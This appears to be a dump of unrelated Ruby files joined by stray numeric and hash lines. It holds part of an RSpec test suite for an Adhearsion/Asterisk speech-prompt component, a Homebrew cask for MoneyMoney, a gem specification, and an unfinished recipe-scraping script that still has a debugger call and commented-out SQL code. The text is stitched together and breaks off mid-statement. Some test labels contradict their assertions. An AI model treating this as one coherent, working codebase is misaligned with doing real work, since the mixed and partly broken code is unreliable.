}.merge(output_command_opts) end let(:input_command_opts) { {} } let :input_command_options do { grammar: {value: grammar} }.merge(input_command_opts) end let(:command_options) { {} } let :output_command do Adhearsion::Rayo::Component::Output.new output_command_options end let :input_command do Adhearsion::Rayo::Component::Input.new input_command_options end let :original_command do Adhearsion::Rayo::Component::Prompt.new output_command, input_command, command_options end let(:recog_status) { 'OK' } let(:recog_completion_cause) { '000' } let(:recog_result) { "%3C?xml%20version=%221.0%22?%3E%3Cresult%3E%0D%0A%3Cinterpretation%20grammar=%22session:grammar-0%22%20confidence=%220.43%22%3E%3Cinput%20mode=%22speech%22%3EHello%3C/input%3E%3Cinstance%3EHello%3C/instance%3E%3C/interpretation%3E%3C/result%3E" } subject { described_class.new original_command, mock_call } before do original_command.request! { 'RECOG_STATUS' => recog_status, 'RECOG_COMPLETION_CAUSE' => recog_completion_cause, 'RECOG_RESULT' => recog_result }.each do |var, val| allow(mock_call).to receive(:channel_var).with(var).and_return val end end context 'with an invalid recognizer' do let(:input_command_opts) { { recognizer: 'foobar' } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'The recognizer foobar is unsupported.' expect(original_command.response(0.1)).to eq(error) end end [:asterisk].each do |recognizer| context "with a recognizer #{recognizer.inspect}" do let(:input_command_opts) { { recognizer: recognizer } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', "The recognizer #{recognizer} is unsupported." expect(original_command.response(0.1)).to eq(error) end end end def expect_mrcpsynth_with_options(options) expect_app_with_options 'MRCPSynth', options end def expect_synthandrecog_with_options(options) expect_app_with_options 'SynthAndRecog', options end def expect_app_with_options(app, options) expect(mock_call).to receive(:execute_agi_command).once { |*args| expect(args[0]).to eq("EXEC #{app}") expect(args[1]).to match options {code: 200, result: 1} } end describe 'Output#document' do context 'with multiple inline documents' do let(:output_command_options) { { render_documents: [{value: ssml_doc}, {value: ssml_doc}] } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'Only one document is allowed.' expect(original_command.response(0.1)).to eq(error) end end context 'with multiple documents by URI' do let(:output_command_options) { { render_documents: [{url: 'http://example.com/doc1.ssml'}, {url: 'http://example.com/doc2.ssml'}] } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'Only one document is allowed.' expect(original_command.response(0.1)).to eq(error) end end context 'with a document that cannot be parsed' do let(:output_command_options) { { render_documents: [{value: 'http://example.com/doc1.ssml'}] } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'The requested render document could not be parsed.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:output_command_options) { {} } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'An SSML document is required.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#renderer' do [nil, :unimrcp].each do |renderer| context renderer.to_s do let(:output_command_opts) { { renderer: renderer } } it "should return a ref and execute SynthAndRecog" do param = [ssml_doc.to_doc, grammar.to_doc].map { |o| "\"#{o.to_s.squish.gsub('"', '\"')}\"" }.push('uer=1&b=1').join(',') expect(mock_call).to receive(:execute_agi_command).once.with('EXEC SynthAndRecog', param).and_return code: 200, result: 1 subject.execute expect(original_command.response(0.1)).to be_a Adhearsion::Rayo::Ref end context "when SynthAndRecog completes" do shared_context "with a match" do let :expected_nlsml do RubySpeech::NLSML.draw do interpretation grammar: 'session:grammar-0', confidence: 0.43 do input 'Hello', mode: :speech instance 'Hello' end end end it 'should send a match complete event' do expected_complete_reason = Adhearsion::Rayo::Component::Input::Complete::Match.new nlsml: expected_nlsml expect(mock_call).to receive(:execute_agi_command).and_return code: 200, result: 1 subject.execute expect(original_command.complete_event(0.1).reason).to eq(expected_complete_reason) end end context "with a match cause" do %w{000 008 012}.each do |code| context "when the MRCP recognition response code is #{code}" do let(:recog_completion_cause) { code } it_behaves_like 'with a match' end end end context "with a nomatch cause" do %w{001 003 013 014 015}.each do |code| context "with value #{code}" do let(:recog_completion_cause) { code } it 'should send a nomatch complete event' do expected_complete_reason = Adhearsion::Rayo::Component::Input::Complete::NoMatch.new expect(mock_call).to receive(:execute_agi_command).and_return code: 200, result: 1 subject.execute expect(original_command.complete_event(0.1).reason).to eq(expected_complete_reason) end end end end context "with a noinput cause" do %w{002 011}.each do |code| context "with value #{code}" do let(:recog_completion_cause) { code } specify do expected_complete_reason = Adhearsion::Rayo::Component::Input::Complete::NoInput.new expect(mock_call).to receive(:execute_agi_command).and_return code: 200, result: 1 subject.execute expect(original_command.complete_event(0.1).reason).to eq(expected_complete_reason) end end end end shared_context 'should send an error complete event' do specify do expect(mock_call).to receive(:execute_agi_command).and_return code: 200, result: 1 subject.execute complete_reason = original_command.complete_event(0.1).reason expect(complete_reason).to be_a Adhearsion::Event::Complete::Error end end context 'with an error cause' do %w{004 005 006 007 009 010 016}.each do |code| context "when the MRCP recognition response code is #{code}" do let(:recog_completion_cause) { code } it_behaves_like 'should send an error complete event' end end end context 'with an invalid cause' do let(:recog_completion_cause) { '999' } it_behaves_like 'should send an error complete event' end context "when the RECOG_STATUS variable is set to 'ERROR'" do let(:recog_status) { 'ERROR' } it_behaves_like 'should send an error complete event' end end context "when we get a RubyAMI Error" do it "should send an error complete event" do error = RubyAMI::Error.new.tap { |e| e.message = 'FooBar' } expect(mock_call).to receive(:execute_agi_command).and_raise error subject.execute complete_reason = original_command.complete_event(0.1).reason expect(complete_reason).to be_a Adhearsion::Event::Complete::Error expect(complete_reason.details).to eq("Terminated due to AMI error 'FooBar'") end end context "when the channel is gone" do it "should send an error complete event" do error = ChannelGoneError.new 'FooBar' expect(mock_call).to receive(:execute_agi_command).and_raise error subject.execute complete_reason = original_command.complete_event(0.1).reason expect(complete_reason).to be_a Adhearsion::Event::Complete::Hangup end end end end [:foobar, :swift, :asterisk].each do |renderer| context renderer.to_s do let(:output_command_opts) { { renderer: renderer } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', "The renderer #{renderer} is unsupported." expect(original_command.response(0.1)).to eq(error) end end end end describe 'barge_in' do context 'unset' do let(:command_options) { { barge_in: nil } } it 'should pass the b=1 option to SynthAndRecog' do expect_synthandrecog_with_options(/b=1/) subject.execute end end context 'true' do let(:command_options) { { barge_in: true } } it 'should pass the b=1 option to SynthAndRecog' do expect_synthandrecog_with_options(/b=1/) subject.execute end end context 'false' do let(:command_options) { { barge_in: false } } it 'should pass the b=0 option to SynthAndRecog' do expect_synthandrecog_with_options(/b=0/) subject.execute end end end describe 'Output#voice' do context 'unset' do let(:output_command_opts) { { voice: nil } } it 'should not pass the vn option to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'set' do let(:output_command_opts) { { voice: 'alison' } } it 'should pass the vn option to SynthAndRecog' do expect_synthandrecog_with_options(/vn=alison/) subject.execute end end end describe 'Output#start-offset' do context 'unset' do let(:output_command_opts) { { start_offset: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'set' do let(:output_command_opts) { { start_offset: 10 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A start_offset value is unsupported on Asterisk.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#start-paused' do context 'false' do let(:output_command_opts) { { start_paused: false } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'true' do let(:output_command_opts) { { start_paused: true } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A start_paused value is unsupported on Asterisk.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#repeat-interval' do context 'unset' do let(:output_command_opts) { { repeat_interval: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'set' do let(:output_command_opts) { { repeat_interval: 10 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A repeat_interval value is unsupported on Asterisk.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#repeat-times' do context 'unset' do let(:output_command_opts) { { repeat_times: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'set' do let(:output_command_opts) { { repeat_times: 2 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A repeat_times value is unsupported on Asterisk.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#max-time' do context 'unset' do let(:output_command_opts) { { max_time: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'set' do let(:output_command_opts) { { max_time: 30 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A max_time value is unsupported on Asterisk.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#interrupt_on' do context 'unset' do let(:output_command_opts) { { interrupt_on: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'set' do let(:output_command_opts) { { interrupt_on: :dtmf } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A interrupt_on value is unsupported on Asterisk.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Output#grammar' do context 'with multiple inline grammars' do let(:input_command_options) { { grammars: [{value: voice_grammar}, {value: dtmf_grammar}] } } it "should return a ref and execute SynthAndRecog" do param = [ssml_doc.to_doc, [voice_grammar.to_doc.to_s, dtmf_grammar.to_doc.to_s].join(',')].map { |o| "\"#{o.to_s.squish.gsub('"', '\"')}\"" }.push('uer=1&b=1').join(',') expect(mock_call).to receive(:execute_agi_command).once.with('EXEC SynthAndRecog', param).and_return code: 200, result: 1 subject.execute expect(original_command.response(0.1)).to be_a Adhearsion::Rayo::Ref end end context 'with multiple grammars by URI' do let(:input_command_options) { { grammars: [{url: 'http://example.com/grammar1.grxml'}, {url: 'http://example.com/grammar2.grxml'}] } } it "should return a ref and execute SynthAndRecog" do param = [ssml_doc.to_doc, ['http://example.com/grammar1.grxml', 'http://example.com/grammar2.grxml'].join(',')].map { |o| "\"#{o.to_s.squish.gsub('"', '\"')}\"" }.push('uer=1&b=1').join(',') expect(mock_call).to receive(:execute_agi_command).once.with('EXEC SynthAndRecog', param).and_return code: 200, result: 1 subject.execute expect(original_command.response(0.1)).to be_a Adhearsion::Rayo::Ref end end context 'with a grammar that cannot be parsed' do let(:input_command_options) { { grammars: [{value: 'http://example.com/grammar1.grxml'}] } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'The requested grammars could not be parsed.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_options) { {} } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A grammar is required.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Input#initial-timeout' do context 'a positive number' do let(:input_command_opts) { { initial_timeout: 1000 } } it 'should pass the nit option to SynthAndRecog' do expect_synthandrecog_with_options(/nit=1000/) subject.execute end end context '-1' do let(:input_command_opts) { { initial_timeout: -1 } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'unset' do let(:input_command_opts) { { initial_timeout: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'a negative number other than -1' do let(:input_command_opts) { { initial_timeout: -1000 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'An initial-timeout value must be -1 or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Input#recognition-timeout' do context 'a positive number' do let(:input_command_opts) { { recognition_timeout: 1000 } } it 'should pass the t option to SynthAndRecog' do expect_synthandrecog_with_options(/t=1000/) subject.execute end end context '0' do let(:input_command_opts) { { recognition_timeout: 0 } } it 'should pass the t option to SynthAndRecog' do expect_synthandrecog_with_options(/t=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { recognition_timeout: -1000 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A recognition-timeout value must be -1, 0, or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { recognition_timeout: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#inter-digit-timeout' do context 'a positive number' do let(:input_command_opts) { { inter_digit_timeout: 1000 } } it 'should pass the dit option to SynthAndRecog' do expect_synthandrecog_with_options(/dit=1000/) subject.execute end end context '-1' do let(:input_command_opts) { { inter_digit_timeout: -1 } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'unset' do let(:input_command_opts) { { inter_digit_timeout: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end context 'a negative number other than -1' do let(:input_command_opts) { { inter_digit_timeout: -1000 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'An inter-digit-timeout value must be -1 or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end end describe 'Input#max-silence' do context 'a positive number' do let(:input_command_opts) { { max_silence: 1000 } } it 'should pass the sint option to SynthAndRecog' do expect_synthandrecog_with_options(/sint=1000/) subject.execute end end context '0' do let(:input_command_opts) { { max_silence: 0 } } it 'should pass the sint option to SynthAndRecog' do expect_synthandrecog_with_options(/sint=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { max_silence: -1000 } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A max-silence value must be -1, 0, or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { max_silence: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#speech-complete-timeout' do context 'a positive number' do let(:input_command_opts) { { headers: {"Speech-Complete-Timeout" => 1000 } } } it 'should pass the sct option to SynthAndRecog' do expect_synthandrecog_with_options(/sct=1000/) subject.execute end end context '0' do let(:input_command_opts) { { headers: {"Speech-Complete-Timeout" => 0 } } } it 'should pass the sct option to SynthAndRecog' do expect_synthandrecog_with_options(/sct=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { headers: {"Speech-Complete-Timeout" => -1000 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A speech-complete-timeout value must be -1, 0, or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { headers: {"Speech-Complete-Timeout" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Speed-Vs-Accuracy)' do context 'a positive number' do let(:input_command_opts) { { headers: {"Speed-Vs-Accuracy" => 1 } } } it 'should pass the sva option to SynthAndRecog' do expect_synthandrecog_with_options(/sva=1/) subject.execute end end context '0' do let(:input_command_opts) { { headers: {"Speed-Vs-Accuracy" => 0 } } } it 'should pass the sva option to SynthAndRecog' do expect_synthandrecog_with_options(/sva=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { headers: {"Speed-Vs-Accuracy" => -1000 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A speed-vs-accuracy value must be a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { headers: {"Speed-Vs-Accuracy" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(N-Best-List-Length)' do context 'a positive number' do let(:input_command_opts) { { headers: {"N-Best-List-Length" => 5 } } } it 'should pass the nb option to SynthAndRecog' do expect_synthandrecog_with_options(/nb=5/) subject.execute end end context '0' do let(:input_command_opts) { { headers: {"N-Best-List-Length" => 0 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'An n-best-list-length value must be a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'a negative number' do let(:input_command_opts) { { headers: {"N-Best-List-Length" => -1000 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'An n-best-list-length value must be a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { headers: {"N-Best-List-Length" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Start-Input-Timers)' do context 'true' do let(:input_command_opts) { { headers: {"Start-Input-Timers" => true } } } it 'should pass the sit option to SynthAndRecog' do expect_synthandrecog_with_options(/sit=true/) subject.execute end end context 'false' do let(:input_command_opts) { { headers: {"Start-Input-Timers" => false } } } it 'should pass the sit option to SynthAndRecog' do expect_synthandrecog_with_options(/sit=false/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Start-Input-Timers" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(DTMF-Terminate-Timeout)' do context 'a positive number' do let(:input_command_opts) { { headers: {"DTMF-Terminate-Timeout" => 1000 } } } it 'should pass the dtt option to SynthAndRecog' do expect_synthandrecog_with_options(/dtt=1000/) subject.execute end end context '0' do let(:input_command_opts) { { headers: {"DTMF-Terminate-Timeout" => 0 } } } it 'should pass the dtt option to SynthAndRecog' do expect_synthandrecog_with_options(/dtt=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { headers: {"DTMF-Terminate-Timeout" => -1000 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A dtmf-terminate-timeout value must be -1, 0, or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { headers: {"DTMF-Terminate-Timeout" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Save-Waveform)' do context 'true' do let(:input_command_opts) { { headers: {"Save-Waveform" => true } } } it 'should pass the sw option to SynthAndRecog' do expect_synthandrecog_with_options(/sw=true/) subject.execute end end context 'false' do let(:input_command_opts) { { headers: {"Save-Waveform" => false } } } it 'should pass the sw option to SynthAndRecog' do expect_synthandrecog_with_options(/sw=false/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Save-Waveform" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(New-Audio-Channel)' do context 'true' do let(:input_command_opts) { { headers: {"New-Audio-Channel" => true } } } it 'should pass the nac option to SynthAndRecog' do expect_synthandrecog_with_options(/nac=true/) subject.execute end end context 'false' do let(:input_command_opts) { { headers: {"New-Audio-Channel" => false } } } it 'should pass the nac option to SynthAndRecog' do expect_synthandrecog_with_options(/nac=false/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"New-Audio-Channel" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Recognition-Mode)' do context 'a string' do let(:input_command_opts) { { headers: {"Recognition-Mode" => "hotword" } } } it 'should pass the rm option to SynthAndRecog' do expect_synthandrecog_with_options(/rm=hotword/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Recognition-Mode" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Hotword-Max-Duration)' do context 'a positive number' do let(:input_command_opts) { { headers: {"Hotword-Max-Duration" => 1000 } } } it 'should pass the hmaxd option to SynthAndRecog' do expect_synthandrecog_with_options(/hmaxd=1000/) subject.execute end end context '0' do let(:input_command_opts) { { headers: {"Hotword-Max-Duration" => 0 } } } it 'should pass the hmaxd option to SynthAndRecog' do expect_synthandrecog_with_options(/hmaxd=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { headers: {"Hotword-Max-Duration" => -1000 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A hotword-max-duration value must be -1, 0, or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { headers: {"Hotword-Max-Duration" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Hotword-Min-Duration)' do context 'a positive number' do let(:input_command_opts) { { headers: {"Hotword-Min-Duration" => 1000 } } } it 'should pass the hmind option to SynthAndRecog' do expect_synthandrecog_with_options(/hmind=1000/) subject.execute end end context '0' do let(:input_command_opts) { { headers: {"Hotword-Min-Duration" => 0 } } } it 'should pass the hmind option to SynthAndRecog' do expect_synthandrecog_with_options(/hmind=0/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { headers: {"Hotword-Min-Duration" => -1000 } } } it "should return an error and not execute any actions" do subject.execute error = Adhearsion::ProtocolError.new.setup 'option error', 'A hotword-min-duration value must be -1, 0, or a positive integer.' expect(original_command.response(0.1)).to eq(error) end end context 'unset' do let(:input_command_opts) { { headers: {"Hotword-Min-Duration" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Clear-DTMF-Buffer)' do context 'true' do let(:input_command_opts) { { headers: {"Clear-DTMF-Buffer" => true } } } it 'should pass the cdb option to SynthAndRecog' do expect_synthandrecog_with_options(/cdb=true/) subject.execute end end context 'false' do let(:input_command_opts) { { headers: {"Clear-DTMF-Buffer" => false } } } it 'should pass the cdb option to SynthAndRecog' do expect_synthandrecog_with_options(/cdb=false/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Clear-DTMF-Buffer" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Early-No-Match)' do context 'true' do let(:input_command_opts) { { headers: {"Early-No-Match" => true } } } it 'should pass the enm option to SynthAndRecog' do expect_synthandrecog_with_options(/enm=true/) subject.execute end end context 'a negative number' do let(:input_command_opts) { { headers: {"Early-No-Match" => false } } } it "should return an error and not execute any actions" do expect_synthandrecog_with_options(/enm=false/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Early-No-Match" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Input-Waveform-URI)' do context 'a positive number' do let(:input_command_opts) { { headers: {"Input-Waveform-URI" => 'http://wave.form.com' } } } it 'should pass the iwu option to SynthAndRecog' do expect_synthandrecog_with_options(/iwu=http:\/\/wave\.form\.com/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Input-Waveform-URI" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#headers(Media-Type)' do context 'a string' do let(:input_command_opts) { { headers: {"Media-Type" => "foo/type" } } } it 'should pass the mt option to SynthAndRecog' do expect_synthandrecog_with_options(/mt=foo\/type/) subject.execute end end context 'unset' do let(:input_command_opts) { { headers: {"Media-Type" => nil } } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#mode' do skip end describe 'Input#terminator' do context 'a string' do let(:input_command_opts) { { terminator: '#' } } it 'should pass the dttc option to SynthAndRecog' do expect_synthandrecog_with_options(/dttc=#/) subject.execute end end context 'unset' do let(:input_command_opts) { { terminator: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#recognizer' do skip end describe 'Input#sensitivity' do context 'a string' do let(:input_command_opts) { { sensitivity: '0.2' } } it 'should pass the sl option to SynthAndRecog' do expect_synthandrecog_with_options(/sl=0.2/) subject.execute end end context 'unset' do let(:input_command_opts) { { sensitivity: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#min-confidence' do context 'a string' do let(:input_command_opts) { { min_confidence: '0.5' } } it 'should pass the ct option to SynthAndRecog' do expect_synthandrecog_with_options(/ct=0.5/) subject.execute end end context 'unset' do let(:input_command_opts) { { min_confidence: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe 'Input#max-silence' do skip end describe 'Input#match-content-type' do skip end describe 'Input#language' do context 'a string' do let(:input_command_opts) { { language: 'en-GB' } } it 'should pass the spl option to SynthAndRecog' do expect_synthandrecog_with_options(/spl=en-GB/) subject.execute end end context 'unset' do let(:input_command_opts) { { language: nil } } it 'should not pass any options to SynthAndRecog' do expect_synthandrecog_with_options(//) subject.execute end end end describe "#execute_command" do context "with a command it does not understand" do let(:command) { Adhearsion::Rayo::Component::Output::Pause.new } before { command.request! } it "returns a Adhearsion::ProtocolError response" do subject.execute_command command expect(command.response(0.1)).to be_a Adhearsion::ProtocolError end end context "with a Stop command" do let(:command) { Adhearsion::Rayo::Component::Stop.new } let(:reason) { original_command.complete_event(5).reason } let(:channel) { "SIP/1234-00000000" } let :ami_event do RubyAMI::Event.new 'AsyncAGI', 'SubEvent' => "Start", 'Channel' => channel, 'Env' => "agi_request%3A%20async%0Aagi_channel%3A%20SIP%2F1234-00000000%0Aagi_language%3A%20en%0Aagi_type%3A%20SIP%0Aagi_uniqueid%3A%201320835995.0%0Aagi_version%3A%201.8.4.1%0Aagi_callerid%3A%205678%0Aagi_calleridname%3A%20Jane%20Smith%0Aagi_callingpres%3A%200%0Aagi_callingani2%3A%200%0Aagi_callington%3A%200%0Aagi_callingtns%3A%200%0Aagi_dnid%3A%201000%0Aagi_rdnis%3A%20unknown%0Aagi_context%3A%20default%0Aagi_extension%3A%201000%0Aagi_priority%3A%201%0Aagi_enhanced%3A%200.0%0Aagi_accountcode%3A%20%0Aagi_threadid%3A%204366221312%0A%0A" end before do command.request! original_command.execute! end it "sets the command response to true" do expect(mock_call).to receive(:redirect_back) subject.execute_command command expect(command.response(0.1)).to eq(true) end it "sends the correct complete event" do expect(mock_call).to receive(:redirect_back) subject.execute_command command expect(original_command).not_to be_complete mock_call.process_ami_event ami_event expect(reason).to be_a Adhearsion::Event::Complete::Stop expect(original_command).to be_complete end it "redirects the call by unjoining it" do expect(mock_call).to receive(:redirect_back) subject.execute_command command end end end end end end end end
38.664822
565
0.534829
398d5525a263140f63a2f8b54e6b1e05016208cc
348
cask 'moneymoney' do version '2.3.24' sha256 'd20e74baba6c164ffd793c52d5b566a7fc134deb8e8e10aa1076fbd770b927d0' url 'https://service.moneymoney-app.com/1/MoneyMoney.zip' appcast 'https://service.moneymoney-app.com/1/Appcast.xml' name 'MoneyMoney' homepage 'https://moneymoney-app.com/' auto_updates true app 'MoneyMoney.app' end
24.857143
75
0.764368
1a0e59ea61cb58c9d6c0a4f4215b413460e26e14
931
$:.push File.expand_path("../lib", __FILE__) # Maintain your gem's version: require "archivesspace-api-utility/version" require "archivesspace-api-utility/helpers" Gem::Specification.new do |s| s.name = 'archivesspace-api-utility' s.version = ArchivesSpaceApiUtility::VERSION s.date = '2014-04-01' s.summary = "A lightweight utility to facilitate interaction with the ArchivesSpace backend API." s.description = "A lightweight utility to facilitate interaction with the ArchivesSpace backend API." s.authors = ["Trevor Thornton"] s.email = '[email protected]' s.files = ["lib/archivesspace-api-utility.rb", "lib/archivesspace-api-utility/configuration.rb"] s.homepage = 'http://github.com/trevorthornton/archivesspace-api-utility' s.license = 'MIT' s.add_development_dependency "bundler", "~> 2.1.0" s.add_development_dependency "rspec" end
40.478261
104
0.713212
b920498140af5ef8d74727830cfc2980900f50de
3,244
array = [] array2 = [] for num in 1..20 recipe_string = RestClient.get("http://www.recipepuppy.com/api/?p=#{num}") recipe_hash = JSON.parse(recipe_string) array << recipe_hash["results"] array[0..-1][0..-1].each do |item| array2 << item end end new_array = array2.flatten new_array[0..-1].map do |recipe| recipe["title"] end ingredients = new_array[0..-1].map do |recipe| recipe["ingredients"] end ingredients.split(/,\s?/) new_array[0..-1].each do |recipe| recipe["ingredients"].split(/,\s?/).each do |item| binding.pry end end # puts recipe_hash["results"][0] # # recipe_name = recipe_hash["results"].map do |recipe| # recipe["title"] # end # # # # recipe_name.each do |recipe| # # Recipe.create(name: recipe.downcase) # # end # # # ingredients = recipe_hash["results"].map do |recipe| # recipe["ingredients"] # end # # ingredient_string = ingredients.join(",") # # new_ingredient = ingredient_string.split(/,\s?/).uniq # # # # new_ingredient.each do |ingredient| # # Ingredient.create(name: ingredient) # # end # # # # recipe_ingredients = [] # # # # recipe_hash["results"].each do |recipe| # # recipe_ingredients << recipe["title"] # # recipe_ingredients << recipe["ingredients"] # # end # # # # first_ingre = recipe_hash["results"].first["ingredients"] # # # first_array = first_ingre.split(/,\s?/) # # # first_array.each do |string| # # string.find_or_create_by(name: string) # # end # # def self.find_or_create_by (name:) # ingredient = DB[:conn].execute("SELECT * FROM ingredients WHERE name = ?", name) # if !ingredient.empty? # ingredient_data = ingredient[0] # ingredient = Ingredient.new(id: ingredient_data[0], name: ingredient_data[1]) # else # ingredient = self.create(name: name) # end # ingredient # end # # def self.create (name:) # ingredient = Ingredient.new(name: name) # ingredient.save # ingredient # end # # def save # if self.id # self.update # else # sql = <<-SQL # INSERT INTO ingredients (name) # VALUES (?) # SQL # DB[:conn].execute(sql, self.name) # @id = DB[:conn].execute("SELECT last_insert_rowid() FROM ingredients")[0][0] # end # self # end # # new_ingredient.each {|string| Ingredient.find_or_create_by(name: string)} # # # # # ------------------------------------------------------------------- # # # def self.find_or_create_by (name:) # recipe = DB[:conn].execute("SELECT * FROM recipes WHERE name = ?", name) # if !recipe.empty? # recipe_data = recipe[0] # recipe 